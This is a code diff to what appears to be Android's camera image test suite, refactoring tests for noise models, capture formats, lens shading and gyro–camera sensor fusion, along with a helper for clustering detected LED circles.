+ # in their own cluster.
+ cluster_assignments = [-1 for i in range(len(circles))]
+
+ def get_canonical_index(i):
+ if cluster_assignments[i] >= 0:
+ index = get_canonical_index(cluster_assignments[i])
+ # Collapse tree for better runtime.
+ cluster_assignments[i] = index
+ return index
+ else:
+ return i
+
+ def get_cluster_size(i):
+ return -cluster_assignments[get_canonical_index(i)]
+
+ for i, curr in enumerate(circles):
+ close_circles = [j for j, p in enumerate(circles) if i != j and
+ curr.distance_to(p) < CLUSTER_DISTANCE]
+ if close_circles:
+ # Note: largest_cluster is an index into cluster_assignments.
+ largest_cluster = min(close_circles, key=get_cluster_size)
+ largest_size = get_cluster_size(largest_cluster)
+ curr_index = get_canonical_index(i)
+ curr_size = get_cluster_size(i)
+ if largest_size > curr_size:
+ # largest_cluster is larger than us.
+ target_index = get_canonical_index(largest_cluster)
+ # Add our cluster size to the bigger one.
+ cluster_assignments[target_index] -= curr_size
+ # Reroute our group to the bigger one.
+ cluster_assignments[curr_index] = target_index
+ else:
+ # We're the largest (or equal to the largest) cluster. Reroute
+ # all groups to us.
+ for j in close_circles:
+ smaller_size = get_cluster_size(j)
+ smaller_index = get_canonical_index(j)
+ if smaller_index != curr_index:
+ # We only want to modify clusters that aren't already in
+ # the current one.
+
+ # Add the smaller cluster's size to ours.
+ cluster_assignments[curr_index] -= smaller_size
+ # Reroute their group to us.
+ cluster_assignments[smaller_index] = curr_index
+
+ # Convert assignments list into list of clusters.
+ clusters_dict = {}
+ for i in range(len(cluster_assignments)):
+ canonical_index = get_canonical_index(i)
+ if canonical_index not in clusters_dict:
+ clusters_dict[canonical_index] = []
+ clusters_dict[canonical_index].append(circles[i])
+ return clusters_dict.values()
+
+
+def find_cluster_bounding_rect(cluster, scratch_frame):
+ """Finds the minimum rectangle that bounds the given cluster.
+
+ The bounding rectangle will always be axis-aligned.
+
+ Args:
+ cluster: Cluster being used to find the bounding rectangle.
+ scratch_frame: Image that rectangle is drawn onto for debugging
+ purposes.
+
+ Returns:
+ The leftmost and topmost x and y coordinates, respectively, along with
+ the width and height of the rectangle.
+ """
+ avg_distance = find_average_neighbor_distance(cluster)
+ debug_print('Average distance between points in largest cluster is %s '
+ 'pixels.' % avg_distance)
+
+ c_x = min(cluster, key=lambda c: c.x - c.r)
+ c_y = min(cluster, key=lambda c: c.y - c.r)
+ c_w = max(cluster, key=lambda c: c.x + c.r)
+ c_h = max(cluster, key=lambda c: c.y + c.r)
+
+ x = c_x.x - c_x.r - avg_distance
+ y = c_y.y - c_y.r - avg_distance
+ w = (c_w.x + c_w.r + avg_distance) - x
+ h = (c_h.y + c_h.r + avg_distance) - y
+
+ if DEBUG:
+ points = np.array([[x, y], [x + w, y], [x + w, y + h], [x, y + h]],
+ np.int32)
+ cv2.polylines(scratch_frame, [points], True, (255, 0, 0), thickness=2)
+
+ return x, y, w, h
+
+
+def find_average_neighbor_distance(cluster):
+ """Finds the average distance between every circle and its closest neighbor.
+
+ Args:
+ cluster: List of circles
+
+ Returns:
+ The average distance.
+ """
+ avg_distance = 0.0
+ for a in cluster:
+ closest_point = None
+ closest_dist = None
+ for b in cluster:
+ if a is b:
+ continue
+ curr_dist = a.distance_to(b)
+ if closest_point is None or curr_dist < closest_dist:
+ closest_point = b
+ closest_dist = curr_dist
+ avg_distance += closest_dist
+ avg_distance /= len(cluster)
+ return avg_distance
+
+
+def find_num_columns_spanned(circles):
+ """Finds how many columns of the LED panel are spanned by the given circles.
+
+ Args:
+ circles: List of circles (assumed to be from the LED panel).
+
+ Returns:
+ The number of columns spanned.
+ """
+ if not circles:
+ return 0
+
+ def x_intersects(c_a, c_b):
+ return abs(c_a.x - c_b.x) < (c_a.r + c_b.r)
+
+ circles = sorted(circles, key=lambda c: c.x)
+ last_circle = circles[0]
+ num_columns = 1
+ for circle in circles[1:]:
+ if not x_intersects(circle, last_circle):
+ last_circle = circle
+ num_columns += 1
+
+ return num_columns
+
+
+def setup_debug_dir(dir_name=None):
+ """Creates a debug directory and required subdirectories.
+
+ Each subdirectory contains images from a different step in the process.
+
+ Args:
+ dir_name: The directory to create. If none is specified, a temp
+ directory is created.
+
+ Returns:
+ The name of the directory that is used.
+ """
+ if dir_name is None:
+ dir_name = tempfile.mkdtemp()
+ else:
+ force_mkdir(dir_name)
+ print('Saving debugging files to "%s"' % dir_name)
+ # For original captured images.
+ force_mkdir(dir_name + '/raw', clean=True)
+ # For monochrome images.
+ force_mkdir(dir_name + '/mono', clean=True)
+ # For contours generated from monochrome images.
+ force_mkdir(dir_name + '/contour', clean=True)
+ # For post-contour debugging information.
+ force_mkdir(dir_name + '/scratch', clean=True)
+ return dir_name
+
+
+def force_mkdir(dir_name, clean=False):
+ """Creates a directory if it doesn't already exist.
+
+ Args:
+ dir_name: Name of the directory to create.
+ clean: (optional) If set to true, cleans image files from the
+ directory (if it already exists).
+ """
+ if os.path.exists(dir_name):
+ if clean:
+ for image in glob.glob('%s/*.png' % dir_name):
+ os.remove(image)
+ else:
+ os.makedirs(dir_name)
+
+
+def debug_print(s, *args, **kwargs):
+ """Only prints if the test is running in debug mode."""
+ if DEBUG:
+ print(s, *args, **kwargs)
+
+
+if __name__ == '__main__':
+ main()
diff --git a/apps/CameraITS/tests/scene0/test_unified_timestamps.py b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
index 89587f7..a496fb3 100644
--- a/apps/CameraITS/tests/scene0/test_unified_timestamps.py
+++ b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
@@ -36,7 +36,7 @@
print "Reading sensor measurements"
sensors = cam.get_sensors()
cam.start_sensor_events()
- time.sleep(0.5)
+ time.sleep(2.0)
events = cam.get_sensor_events()
ts_sensor_first = {}
ts_sensor_last = {}
diff --git a/apps/CameraITS/tests/scene1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
index 73808cb..538e786 100644
--- a/apps/CameraITS/tests/scene1/test_dng_noise_model.py
+++ b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
@@ -12,30 +12,31 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.device
-import its.caps
-import its.objects
-import its.image
import os.path
-from matplotlib import pylab
+import its.caps
+import its.device
+import its.image
+import its.objects
import matplotlib
-import matplotlib.pyplot
+from matplotlib import pylab
+
+NAME = os.path.basename(__file__).split('.')[0]
+BAYER_LIST = ['R', 'GR', 'GB', 'B']
+DIFF_THRESH = 0.0012 # absolute variance delta threshold
+FRAC_THRESH = 0.2 # relative variance delta threshold
+NUM_STEPS = 4
+STATS_GRID = 49 # center 2.04% of image for calculations
+
def main():
- """Verify that the DNG raw model parameters are correct.
- """
- NAME = os.path.basename(__file__).split(".")[0]
-
- NUM_STEPS = 4
+ """Verify that the DNG raw model parameters are correct."""
# Pass if the difference between expected and computed variances is small,
- # defined as being within an absolute variance delta of 0.0005, or within
- # 20% of the expected variance, whichever is larger; this is to allow the
+ # defined as being within an absolute variance delta or relative variance
+ # delta of the expected variance, whichever is larger. This is to allow the
# test to pass in the presence of some randomness (since this test is
# measuring noise of a small patch) and some imperfect scene conditions
# (since ITS doesn't require a perfectly uniformly lit scene).
- DIFF_THRESH = 0.0005
- FRAC_THRESH = 0.2
with its.device.ItsSession() as cam:
@@ -45,70 +46,85 @@
its.caps.manual_sensor(props) and
its.caps.read_3a(props) and
its.caps.per_frame_control(props))
+ debug = its.caps.debug_mode()
white_level = float(props['android.sensor.info.whiteLevel'])
cfa_idxs = its.image.get_canonical_cfa_order(props)
+ aax = props['android.sensor.info.activeArraySize']['left']
+ aay = props['android.sensor.info.activeArraySize']['top']
+ aaw = props['android.sensor.info.activeArraySize']['right']-aax
+ aah = props['android.sensor.info.activeArraySize']['bottom']-aay
# Expose for the scene with min sensitivity
sens_min, sens_max = props['android.sensor.info.sensitivityRange']
sens_step = (sens_max - sens_min) / NUM_STEPS
- s_ae,e_ae,_,_,f_dist = cam.do_3a(get_results=True)
+ s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
s_e_prod = s_ae * e_ae
sensitivities = range(sens_min, sens_max, sens_step)
- var_expected = [[],[],[],[]]
- var_measured = [[],[],[],[]]
+ var_expected = [[], [], [], []]
+ var_measured = [[], [], [], []]
+ x = STATS_GRID/2 # center in H of STATS_GRID
+ y = STATS_GRID/2 # center in W of STATS_GRID
for sens in sensitivities:
- # Capture a raw frame with the desired sensitivity.
+ # Capture a raw frame with the desired sensitivity
exp = int(s_e_prod / float(sens))
req = its.objects.manual_capture_request(sens, exp, f_dist)
- cap = cam.do_capture(req, cam.CAP_RAW)
+ if debug:
+ cap = cam.do_capture(req, cam.CAP_RAW)
+ planes = its.image.convert_capture_to_planes(cap, props)
+ else:
+ cap = cam.do_capture(req, {'format': 'rawStats',
+ 'gridWidth': aaw/STATS_GRID,
+ 'gridHeight': aah/STATS_GRID})
+ mean_img, var_img = its.image.unpack_rawstats_capture(cap)
- # Test each raw color channel (R, GR, GB, B):
- noise_profile = cap["metadata"]["android.sensor.noiseProfile"]
- assert((len(noise_profile)) == 4)
- for ch in range(4):
+ # Test each raw color channel (R, GR, GB, B)
+ noise_profile = cap['metadata']['android.sensor.noiseProfile']
+ assert len(noise_profile) == len(BAYER_LIST)
+ for i in range(len(BAYER_LIST)):
# Get the noise model parameters for this channel of this shot.
- s,o = noise_profile[cfa_idxs[ch]]
+ ch = cfa_idxs[i]
+ s, o = noise_profile[ch]
- # Get a center tile of the raw channel, and compute the mean.
# Use a very small patch to ensure gross uniformity (i.e. so
# non-uniform lighting or vignetting doesn't affect the variance
- # calculation).
- plane = its.image.convert_capture_to_planes(cap, props)[ch]
- black_level = its.image.get_black_level(
- ch, props, cap["metadata"])
- plane = (plane * white_level - black_level) / (
- white_level - black_level)
- tile = its.image.get_image_patch(plane, 0.49,0.49,0.02,0.02)
- mean = tile.mean()
+ # calculation)
+ black_level = its.image.get_black_level(i, props,
+ cap['metadata'])
+ level_range = white_level - black_level
+ if debug:
+ plane = ((planes[i] * white_level - black_level) /
+ level_range)
+ tile = its.image.get_image_patch(plane, 0.49, 0.49,
+ 0.02, 0.02)
+ mean_img_ch = tile.mean()
+ var_measured[i].append(
+ its.image.compute_image_variances(tile)[0])
+ else:
+ mean_img_ch = (mean_img[x, y, ch]-black_level)/level_range
+ var_measured[i].append(var_img[x, y, ch]/level_range**2)
+ var_expected[i].append(s * mean_img_ch + o)
- # Calculate the expected variance based on the model, and the
- # measured variance from the tile.
- var_measured[ch].append(
- its.image.compute_image_variances(tile)[0])
- var_expected[ch].append(s * mean + o)
-
- for ch in range(4):
- pylab.plot(sensitivities, var_expected[ch], "rgkb"[ch],
- label=["R","GR","GB","B"][ch]+" expected")
- pylab.plot(sensitivities, var_measured[ch], "rgkb"[ch]+"--",
- label=["R", "GR", "GB", "B"][ch]+" measured")
- pylab.xlabel("Sensitivity")
- pylab.ylabel("Center patch variance")
+ for i, ch in enumerate(BAYER_LIST):
+ pylab.plot(sensitivities, var_expected[i], 'rgkb'[i],
+ label=ch+' expected')
+ pylab.plot(sensitivities, var_measured[i], 'rgkb'[i]+'--',
+ label=ch+' measured')
+ pylab.xlabel('Sensitivity')
+ pylab.ylabel('Center patch variance')
pylab.legend(loc=2)
- matplotlib.pyplot.savefig("%s_plot.png" % (NAME))
+ matplotlib.pyplot.savefig('%s_plot.png' % NAME)
- # Pass/fail check.
- for ch in range(4):
- diffs = [abs(var_measured[ch][i] - var_expected[ch][i])
- for i in range(len(sensitivities))]
- print "Diffs (%s):"%(["R","GR","GB","B"][ch]), diffs
- for i,diff in enumerate(diffs):
- thresh = max(DIFF_THRESH, FRAC_THRESH * var_expected[ch][i])
- assert(diff <= thresh)
+ # PASS/FAIL check
+ for i, ch in enumerate(BAYER_LIST):
+ diffs = [abs(var_measured[i][j] - var_expected[i][j])
+ for j in range(len(sensitivities))]
+ print 'Diffs (%s):'%(ch), diffs
+ for j, diff in enumerate(diffs):
+ thresh = max(DIFF_THRESH, FRAC_THRESH*var_expected[i][j])
+ assert diff <= thresh
if __name__ == '__main__':
main()
-
diff --git a/apps/CameraITS/tests/scene1/test_format_combos.py b/apps/CameraITS/tests/scene1/test_format_combos.py
index 1519237..ca65e4f 100644
--- a/apps/CameraITS/tests/scene1/test_format_combos.py
+++ b/apps/CameraITS/tests/scene1/test_format_combos.py
@@ -20,15 +20,13 @@
import its.target
import sys
import os
-import os.path
-# Change this to True, to have the test break at the first failure.
-stop_at_first_failure = False
+NAME = os.path.basename(__file__).split(".")[0]
+STOP_AT_FIRST_FAILURE = False # change to True to have test break @ 1st FAIL
+
def main():
- """Test different combinations of output formats.
- """
- NAME = os.path.basename(__file__).split(".")[0]
+ """Test different combinations of output formats."""
with its.device.ItsSession() as cam:
@@ -44,33 +42,33 @@
e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
req_aut = its.objects.auto_capture_request()
req_man = its.objects.manual_capture_request(s, e)
- reqs = [req_aut, # R0
- req_man] # R1
+ reqs = [req_aut, # R0
+ req_man] # R1
# 10 different combos of output formats; some are single surfaces, and
# some are multiple surfaces.
- wyuv,hyuv = its.objects.get_available_output_sizes("yuv", props)[-1]
- wjpg,hjpg = its.objects.get_available_output_sizes("jpg", props)[-1]
- fmt_yuv_prev = {"format":"yuv", "width":wyuv, "height":hyuv}
- fmt_yuv_full = {"format":"yuv"}
- fmt_jpg_prev = {"format":"jpeg","width":wjpg, "height":hjpg}
- fmt_jpg_full = {"format":"jpeg"}
- fmt_raw_full = {"format":"raw"}
- fmt_combos =[
- [fmt_yuv_prev], # F0
- [fmt_yuv_full], # F1
- [fmt_jpg_prev], # F2
- [fmt_jpg_full], # F3
- [fmt_raw_full], # F4
- [fmt_yuv_prev, fmt_jpg_prev], # F5
- [fmt_yuv_prev, fmt_jpg_full], # F6
- [fmt_yuv_prev, fmt_raw_full], # F7
- [fmt_yuv_prev, fmt_jpg_prev, fmt_raw_full], # F8
- [fmt_yuv_prev, fmt_jpg_full, fmt_raw_full]] # F9
+ wyuv, hyuv = its.objects.get_available_output_sizes("yuv", props)[-1]
+ wjpg, hjpg = its.objects.get_available_output_sizes("jpg", props)[-1]
+ fmt_yuv_prev = {"format": "yuv", "width": wyuv, "height": hyuv}
+ fmt_yuv_full = {"format": "yuv"}
+ fmt_jpg_prev = {"format": "jpeg", "width": wjpg, "height": hjpg}
+ fmt_jpg_full = {"format": "jpeg"}
+ fmt_raw_full = {"format": "raw"}
+ fmt_combos = [
+ [fmt_yuv_prev], # F0
+ [fmt_yuv_full], # F1
+ [fmt_jpg_prev], # F2
+ [fmt_jpg_full], # F3
+ [fmt_raw_full], # F4
+ [fmt_yuv_prev, fmt_jpg_prev], # F5
+ [fmt_yuv_prev, fmt_jpg_full], # F6
+ [fmt_yuv_prev, fmt_raw_full], # F7
+ [fmt_yuv_prev, fmt_jpg_prev, fmt_raw_full], # F8
+ [fmt_yuv_prev, fmt_jpg_full, fmt_raw_full]] # F9
# Two different burst lengths: single frame, and 3 frames.
- burst_lens = [1, # B0
- 3] # B1
+ burst_lens = [1, # B0
+ 3] # B1
# There are 2x10x2=40 different combinations. Run through them all.
n = 0
@@ -82,15 +80,14 @@
successes.append((n,r,f,b))
print "==> Success[%02d]: R%d F%d B%d" % (n,r,f,b)
- # Dump the captures out to jpegs.
- if not isinstance(caps, list):
- caps = [caps]
- elif isinstance(caps[0], list):
- caps = sum(caps, [])
- for c,cap in enumerate(caps):
- img = its.image.convert_capture_to_rgb_image(cap,
- props=props)
- if debug:
+ # Dump the captures out to jpegs in debug mode.
+ if debug:
+ if not isinstance(caps, list):
+ caps = [caps]
+ elif isinstance(caps[0], list):
+ caps = sum(caps, [])
+ for c, cap in enumerate(caps):
+ img = its.image.convert_capture_to_rgb_image(cap, props=props)
its.image.write_image(img,
"%s_n%02d_r%d_f%d_b%d_c%d.jpg"%(NAME,n,r,f,b,c))
@@ -98,8 +95,8 @@
print e
print "==> Failure[%02d]: R%d F%d B%d" % (n,r,f,b)
failures.append((n,r,f,b))
- if stop_at_first_failure:
- sys.exit(0)
+ if STOP_AT_FIRST_FAILURE:
+ sys.exit(1)
n += 1
num_fail = len(failures)
@@ -118,8 +115,8 @@
print ""
# The test passes if all the combinations successfully capture.
- assert(num_fail == 0)
- assert(num_success == num_total)
+ assert num_fail == 0
+ assert num_success == num_total
if __name__ == '__main__':
main()
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py b/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
index 343c960..dd7ef21 100644
--- a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
+++ b/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
@@ -12,20 +12,20 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
+import math
+import os.path
import its.caps
import its.device
+import its.image
import its.objects
import its.target
-import os.path
-import math
+
+NAME = os.path.basename(__file__).split(".")[0]
+THRESHOLD_MAX_RMS_DIFF = 0.035
+
def main():
- """Test capturing a single frame as both RAW and YUV outputs.
- """
- NAME = os.path.basename(__file__).split(".")[0]
-
- THRESHOLD_MAX_RMS_DIFF = 0.035
+ """Test capturing a single frame as both RAW and YUV outputs."""
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
@@ -38,34 +38,35 @@
e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
req = its.objects.manual_capture_request(s, e, 0.0, True, props)
- if 0 in props['android.shading.availableModes']:
- req["android.shading.mode"] = 0
+ mode = req["android.shading.mode"]
+ print "shading mode:", mode
- max_raw_size = \
- its.objects.get_available_output_sizes("raw", props)[0]
- w,h = its.objects.get_available_output_sizes(
+ max_raw_size = its.objects.get_available_output_sizes("raw", props)[0]
+ w, h = its.objects.get_available_output_sizes(
"yuv", props, (1920, 1080), max_raw_size)[0]
- out_surfaces = [{"format":"raw"},
- {"format":"yuv", "width":w, "height":h}]
+ out_surfaces = [{"format": "raw"},
+ {"format": "yuv", "width": w, "height": h}]
cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
img = its.image.convert_capture_to_rgb_image(cap_yuv)
- its.image.write_image(img, "%s_yuv.jpg" % (NAME), True)
+ its.image.write_image(img, "%s_shading=%d_yuv.jpg" % (NAME, mode), True)
tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
rgb0 = its.image.compute_image_means(tile)
# Raw shots are 1/2 x 1/2 smaller after conversion to RGB, but tile
# cropping is relative.
img = its.image.convert_capture_to_rgb_image(cap_raw, props=props)
- its.image.write_image(img, "%s_raw.jpg" % (NAME), True)
+ its.image.write_image(img, "%s_shading=%d_raw.jpg" % (NAME, mode), True)
tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
rgb1 = its.image.compute_image_means(tile)
rms_diff = math.sqrt(
sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
- print "RMS difference:", rms_diff
- assert(rms_diff < THRESHOLD_MAX_RMS_DIFF)
+ msg = "RMS difference: %.4f, spec: %.3f" % (rms_diff,
+ THRESHOLD_MAX_RMS_DIFF)
+ print msg
+ assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
-if __name__ == '__main__':
+if __name__ == "__main__":
main()
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py b/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
index 6ecdca7..9c0c69b 100644
--- a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
+++ b/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
@@ -12,20 +12,20 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
+import math
+import os.path
import its.caps
import its.device
+import its.image
import its.objects
import its.target
-import os.path
-import math
+
+NAME = os.path.basename(__file__).split(".")[0]
+THRESHOLD_MAX_RMS_DIFF = 0.035
+
def main():
- """Test capturing a single frame as both RAW10 and YUV outputs.
- """
- NAME = os.path.basename(__file__).split(".")[0]
-
- THRESHOLD_MAX_RMS_DIFF = 0.035
+ """Test capturing a single frame as both RAW10 and YUV outputs."""
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
@@ -38,34 +38,36 @@
e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
req = its.objects.manual_capture_request(s, e, 0.0, True, props)
- if 0 in props['android.shading.availableModes']:
- req["android.shading.mode"] = 0
+ mode = req["android.shading.mode"]
+ print "shading mode:", mode
- max_raw10_size = \
- its.objects.get_available_output_sizes("raw10", props)[0]
- w,h = its.objects.get_available_output_sizes(
+ max_raw10_size = its.objects.get_available_output_sizes("raw10",
+ props)[0]
+ w, h = its.objects.get_available_output_sizes(
"yuv", props, (1920, 1080), max_raw10_size)[0]
- cap_raw, cap_yuv = cam.do_capture(req,
- [{"format":"raw10"},
- {"format":"yuv", "width":w, "height":h}])
+ out_surfaces = [{"format": "raw10"},
+ {"format": "yuv", "width": w, "height": h}]
+ cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
img = its.image.convert_capture_to_rgb_image(cap_yuv)
- its.image.write_image(img, "%s_yuv.jpg" % (NAME), True)
+ its.image.write_image(img, "%s_shading=%d_yuv.jpg" % (NAME, mode), True)
tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
rgb0 = its.image.compute_image_means(tile)
# Raw shots are 1/2 x 1/2 smaller after conversion to RGB, but tile
# cropping is relative.
img = its.image.convert_capture_to_rgb_image(cap_raw, props=props)
- its.image.write_image(img, "%s_raw.jpg" % (NAME), True)
+ its.image.write_image(img, "%s_shading=%d_raw.jpg" % (NAME, mode), True)
tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
rgb1 = its.image.compute_image_means(tile)
rms_diff = math.sqrt(
sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
- print "RMS difference:", rms_diff
- assert(rms_diff < THRESHOLD_MAX_RMS_DIFF)
+ msg = "RMS difference: %.4f, spec: %.3f" % (rms_diff,
+ THRESHOLD_MAX_RMS_DIFF)
+ print msg
+ assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
-if __name__ == '__main__':
+if __name__ == "__main__":
main()
diff --git a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
index 065f854..95fc543 100644
--- a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
+++ b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
@@ -45,13 +45,15 @@
THRES_LS_CN = 0.6 # len shading allowance for corner
THRES_LS_HIGH = 0.2 # max allowed percentage for a patch to be brighter
# than center
- THRES_UFMT = 0.1 # uniformity allowance
+ THRES_UFMT = 0.2 # uniformity allowance
# Drawing color
RED = (1, 0, 0) # blocks failed the test
GREEN = (0, 0.7, 0.3) # blocks passed the test
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.ae_lock(props) and
+ its.caps.awb_lock(props))
if its.caps.read_3a(props):
# Converge 3A and get the estimates.
sens, exp, gains, xform, focus = cam.do_3a(get_results=True,
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 3073fc5..2e8f38e 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -12,32 +12,33 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
-import its.device
-import its.objects
-import its.caps
-import time
-import math
-from matplotlib import pylab
-import os.path
-import matplotlib
-import matplotlib.pyplot
-import json
-from PIL import Image
-import numpy
-import cv2
import bisect
-import scipy.spatial
+import json
+import math
+import os.path
import sys
+import time
+
+import cv2
+import its.caps
+import its.device
+import its.image
+import its.objects
+import matplotlib
+from matplotlib import pylab
+import matplotlib.pyplot
+import numpy
+from PIL import Image
+import scipy.spatial
NAME = os.path.basename(__file__).split(".")[0]
-# Capture 210 VGA frames (which is 7s at 30fps)
-N = 210
-W,H = 640,480
-FEATURE_MARGIN = H * 0.20 / 2 # Only take feature points from the center 20%
- # so that the rotation measured have much less
- # of rolling shutter effect
+W, H = 640, 480
+FPS = 30
+TEST_LENGTH = 7 # seconds
+FEATURE_MARGIN = 0.20 # Only take feature points from the center 20%
+ # so that the rotation measured have much less of rolling
+ # shutter effect
MIN_FEATURE_PTS = 30 # Minimum number of feature points required to
# perform rotation analysis
@@ -48,15 +49,15 @@
MIN_GYRO_SMP_RATE = 100.0 # Minimum gyro sample rate
-FEATURE_PARAMS = dict( maxCorners = 240,
- qualityLevel = 0.3,
- minDistance = 7,
- blockSize = 7 )
+FEATURE_PARAMS = dict(maxCorners=240,
+ qualityLevel=0.3,
+ minDistance=7,
+ blockSize=7)
-LK_PARAMS = dict( winSize = (15, 15),
- maxLevel = 2,
- criteria = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT,
- 10, 0.03))
+LK_PARAMS = dict(winSize=(15, 15),
+ maxLevel=2,
+ criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT,
+ 10, 0.03))
# Constants to convert between different units (for clarity).
SEC_TO_NSEC = 1000*1000*1000.0
@@ -87,22 +88,50 @@
The instructions for running this test are in the SensorFusion.pdf file in
the same directory as this test.
- The command-line argument "replay" may be optionally provided. Without this
- argument, the test will collect a new set of camera+gyro data from the
- device and then analyze it (and it will also dump this data to files in the
- current directory). If the "replay" argument is provided, then the script
- will instead load the dumped data from a previous run and analyze that
- instead. This can be helpful for developers who are digging for additional
- information on their measurements.
+ Note that if fps*test_length is too large, write speeds may become a
+ bottleneck and camera capture will slow down or stop.
+
+ Command line arguments:
+ fps: FPS to capture with during the test
+ img_size: Comma-separated dimensions of captured images (defaults to
+ 640x480). Ex: "img_size=<width>,<height>"
+ replay: Without this argument, the test will collect a new set of
+ camera+gyro data from the device and then analyze it (and
+ it will also dump this data to files in the current
+ directory). If the "replay" argument is provided, then the
+ script will instead load the dumped data from a previous
+ run and analyze that instead. This can be helpful for
+ developers who are digging for additional information on
+ their measurements.
+ test_length: How long the test should run for (in seconds)
"""
+ fps = FPS
+ w, h = W, H
+ test_length = TEST_LENGTH
+ for s in sys.argv[1:]:
+ if s[:4] == "fps=" and len(s) > 4:
+ fps = int(s[4:])
+ elif s[:9] == "img_size=" and len(s) > 9:
+ # Split by comma and convert each dimension to int.
+ [w, h] = map(int, s[9:].split(","))
+ elif s[:12] == "test_length=" and len(s) > 12:
+ test_length = int(s[12:])
+
# Collect or load the camera+gyro data. All gyro events as well as camera
# timestamps are in the "events" dictionary, and "frames" is a list of
# RGB images as numpy arrays.
if "replay" not in sys.argv:
- events, frames = collect_data()
+ if w * h > 640 * 480 or fps * test_length > 300:
+ warning_str = (
+ "Warning: Your test parameters may require fast write speeds "
+ "to run smoothly. If you run into problems, consider smaller "
+ "values of \'w\', \'h\', \'fps\', or \'test_length\'."
+ )
+ print warning_str
+ events, frames = collect_data(fps, w, h, test_length)
else:
- events, frames = load_data()
+ events, frames, _, h = load_data()
# Sanity check camera timestamps are enclosed by sensor timestamps
# This will catch bugs where camera and gyro timestamps go completely out
@@ -114,25 +143,29 @@
min_gyro_time = min(gyro_times) * NSEC_TO_SEC
max_gyro_time = max(gyro_times) * NSEC_TO_SEC
if not (min_cam_time > min_gyro_time and max_cam_time < max_gyro_time):
- print "Test failed: camera timestamps [%f,%f] " \
- "are not enclosed by gyro timestamps [%f, %f]" % (
- min_cam_time, max_cam_time, min_gyro_time, max_gyro_time)
- assert(0)
+ fail_str = ("Test failed: "
+ "camera timestamps [%f,%f] "
+ "are not enclosed by "
+ "gyro timestamps [%f, %f]"
+ ) % (min_cam_time, max_cam_time,
+ min_gyro_time, max_gyro_time)
+ print fail_str
+ assert 0
cam_frame_range = max_cam_time - min_cam_time
gyro_time_range = max_gyro_time - min_gyro_time
gyro_smp_per_sec = len(gyro_times) / gyro_time_range
print "Camera frame range", max_cam_time - min_cam_time
print "Gyro samples per second", gyro_smp_per_sec
- assert(cam_frame_range < MAX_CAM_FRM_RANGE_SEC)
- assert(gyro_smp_per_sec > MIN_GYRO_SMP_RATE)
+ assert cam_frame_range < MAX_CAM_FRM_RANGE_SEC
+ assert gyro_smp_per_sec > MIN_GYRO_SMP_RATE
# Compute the camera rotation displacements (rad) between each pair of
# adjacent frames.
- cam_rots = get_cam_rotations(frames, events["facing"])
+ cam_rots = get_cam_rotations(frames, events["facing"], h)
if max(abs(cam_rots)) < THRESH_MIN_ROT:
print "Device wasn't moved enough"
- assert(0)
+ assert 0
# Find the best offset (time-shift) to align the gyro and camera motion
# traces; this function integrates the shifted gyro data between camera
@@ -141,15 +174,16 @@
offset = get_best_alignment_offset(cam_times, cam_rots, events["gyro"])
# Plot the camera and gyro traces after applying the best shift.
- cam_times = cam_times + offset*SEC_TO_NSEC
+ cam_times += offset*SEC_TO_NSEC
gyro_rots = get_gyro_rotations(events["gyro"], cam_times)
plot_rotations(cam_rots, gyro_rots)
# Pass/fail based on the offset and also the correlation distance.
dist = scipy.spatial.distance.correlation(cam_rots, gyro_rots)
print "Best correlation of %f at shift of %.2fms"%(dist, offset*SEC_TO_MSEC)
- assert(dist < THRESH_MAX_CORR_DIST)
- assert(abs(offset) < THRESH_MAX_SHIFT_MS*MSEC_TO_SEC)
+ assert dist < THRESH_MAX_CORR_DIST
+ assert abs(offset) < THRESH_MAX_SHIFT_MS*MSEC_TO_SEC
+
def get_best_alignment_offset(cam_times, cam_rots, gyro_events):
"""Find the best offset to align the camera and gyro traces.
@@ -167,7 +201,7 @@
"""
# Measure the corr. dist. over a shift of up to +/- 50ms (0.5ms step size).
